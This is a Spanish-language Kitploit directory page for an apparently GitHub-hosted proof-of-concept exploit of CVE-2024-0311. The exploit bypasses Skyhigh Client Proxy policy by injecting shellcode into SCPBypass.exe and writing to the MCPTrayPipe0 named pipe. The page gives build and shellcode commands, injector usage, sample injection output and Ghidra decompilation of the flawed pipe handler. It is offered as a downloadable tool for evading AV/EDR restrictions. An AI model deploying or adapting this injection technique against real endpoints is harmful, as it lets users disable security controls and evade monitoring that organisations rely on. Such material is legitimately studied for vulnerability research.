Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-0311 — Exploit de prueba de concepto para CVE-2024-0311 que evita la política de Skyhigh Client Proxy mediante inyección de procesos y manipulación de named pipes, con shellcode personalizado para evadir restricciones de AV/EDR. | Kitploit
Herramientas/GitHubGitHub/calligraf0/cve-2024-0311
Escalada de PrivilegiosExplotaciónEvasión de IDS/IPSIngeniería InversaShellcodeDesarrollo de PayloadsExplotación de Binarios
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Exploit de prueba de concepto para CVE-2024-0311 que evita la política de Skyhigh Client Proxy mediante inyección de procesos y manipulación de named pipes, con shellcode personalizado para evadir restricciones de AV/EDR.

Ver Repositorio
9215hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-0311 ?

Esta es una PoC de lo que creo que es CVE-2024-0311, SB10418.

Un usuario interno malintencionado puede eludir la política existente de Skyhigh Client Proxy sin un código de liberación válido.

Muchos detalles. Muy exploit. ¯\(ツ)/¯

La PoC inyecta en un proceso SCPBypass.exe ejecutado por el usuario y escribe en la tubería de SCPService.exe: \\.\pipe\MCPTrayPipe0. La inyección es necesaria ya que, incluso si la tubería tiene permisos RW Everyone, WGUARDNT realiza algunas comprobaciones en el ejecutable que escribe en la tubería (se verifica la ruta del escritor), consulte abajo.

Se proporciona un shellcode de ejemplo que permite la ejecución de WriteFile en la tubería incluso si Trellix/McAfee están ejecutándose y enganchando/bloqueando LoadLibrary.

Compilar

Compilar en modo Debug o Release desde Visual Studio

Shellcode

Genere el shellcode mediante:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

luego reemplace el shellcode en shellcode.c.

Uso

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: No llamar a SetNamedPipeHandleState. El shellcode valida el puntero a SetNamedPipeHandleState antes de llamarlo.
*  debugon: establece un breakpoint en el shellcode (0xcc en offset 0) y genera un hilo para enlazar la tubería nombrada. No usar en producción.

Ejemplo de salida:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Si todo salió bien, en los archivos de registro de SCP debería encontrar una entrada similar a esta:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Análisis

Este será un análisis breve, porque nadie tiene tiempo para palabras.

Cliente Proxy de Skyhigh

En primer lugar, ¿qué es el cliente proxy de Skyhigh?

El software Skyhigh Security Client Proxy ayuda a proteger a los usuarios de sus endpoints de las amenazas de seguridad que surgen cuando acceden a la web desde dentro o fuera de su red. El software cliente, que se instala en endpoints que ejecutan Microsoft Windows o macOS, redirige las solicitudes web o permite que continúen hacia un proxy para su filtrado. El software servidor se ejecuta en una de las plataformas de gestión: Trellix ePO SaaS o Trellix ePO Cloud.

Eso debería aclararlo.

¿Cuál es la causa raíz?

Dada la información del aviso, no hay mucho por dónde empezar. Sinceramente, estaba revisando el servicio binario para detectar problemas fáciles de explotar para escalar privilegios (LPE) cuando vi CreateNamedPipe y me interesé.

Aquí hay una copia rápida del código descompilado de Ghidra:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Como podemos ver, una vez que se llama a la función, se inicializa una nueva estructura DACL y se crea una nueva tubería \\.\pipe\MCPTrayPipe0 en modo byte.

Luego, mientras el identificador de dicha tubería sea válido, el programa lee de ella e intenta convertir los bytes enviados de ASCII a entero con atoi(out_lpBuffer).

Ignorando el hecho de que hay mejores alternativas a atoi, asumiendo que la llamada a atoi no ha fallado, el valor convertido se pasa a FUN_14022d5b0:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

que llama a SetWaitableTimer. Las cadenas aquí ayudaron un poco a identificar el flujo deseado.

El punto principal aquí es que el proceso ScpService.exe no realiza comprobaciones sobre quién escribe qué en la tubería, los datos se confían ciegamente y se pasan.

Además, al verificar los permisos de la tubería con accesschk, la tubería resulta RW Everyone.

Por lo tanto, el exploit básicamente debería hacer lo siguiente:

  • CreateFile(): obtener un identificador de la tubería
  • SetNamedPipeHandleState(): establecer el modo byte
  • WriteFile(): escribir datos
  • CloseHandle(): cerrar el identificador

Esto se puede hacer literalmente en unas pocas líneas de PowerShell. Victoria fácil, ¿verdad? No.

¿Por qué inyectar?

¡Si solo las cosas fueran tan simples! Si bien técnicamente todo parecía funcionar así, abrir la tubería siempre terminaba con el cliente de la tubería agotando el tiempo de espera. Al profundizar un poco más, notamos que el servicio estaba configurando alguna ACL en otro lugar.

ACL

El descriptor de seguridad predeterminado utilizado por ScpService se inicializa de la siguiente manera:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Esto representa un DACL, que no concede acceso a nadie

Si la lista de control de acceso discrecional (DACL) que pertenece al descriptor de seguridad de un objeto se establece en NULL, se crea un DACL nulo. Un DACL nulo concede acceso completo a cualquier usuario que lo solicite; no se realiza una verificación de seguridad normal con respecto al objeto. Un DACL nulo no debe confundirse con un DACL vacío. Un DACL vacío es un DACL correctamente asignado e inicializado que no contiene entradas de control de acceso (ACE). Un DACL vacío no concede acceso al objeto al que está asignado.

Lo más probable es que el ACE/DACL se delegue a \\.\WGUARDNT, que parece ser una capa de protección (¿McAfee?) responsable de otorgar acceso a una lista limitada de objetos:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Intento 1

Bueno, si el ejecutable que se conecta se verifica contra una lista de ejecutables/rutas conocidas y dado que SCPBypass.exe, ejecutado con los privilegios de nuestro usuario, parece estar en una lista de aplicaciones confiables, ¿no podríamos simplemente inyectar un DLL en SCPBypass.exe? ¡Absolutamente! Lástima que Trellix/McAfee te bloqueará la llamada a LoadLibrary. De ahí el InjmeDLL no utilizado en el proyecto.

Intento 2 (final)

Optamos por una solución rápida y sucia al final, improvisada por @wolfcod: simplemente inyectar un shellcode que haga lo que sea necesario, ya que el proceso ya tiene todo cargado de todos modos. En lugar de llamar a la llamada al sistema directamente o probar otras artimañas, esta solución simple funcionó perfectamente para nuestro caso de uso.

Esto finalmente resultó en la elusión de las restricciones impuestas por la solución AV/EDR y un exploit funcional.

👋 Saludos.

Descargar herramienta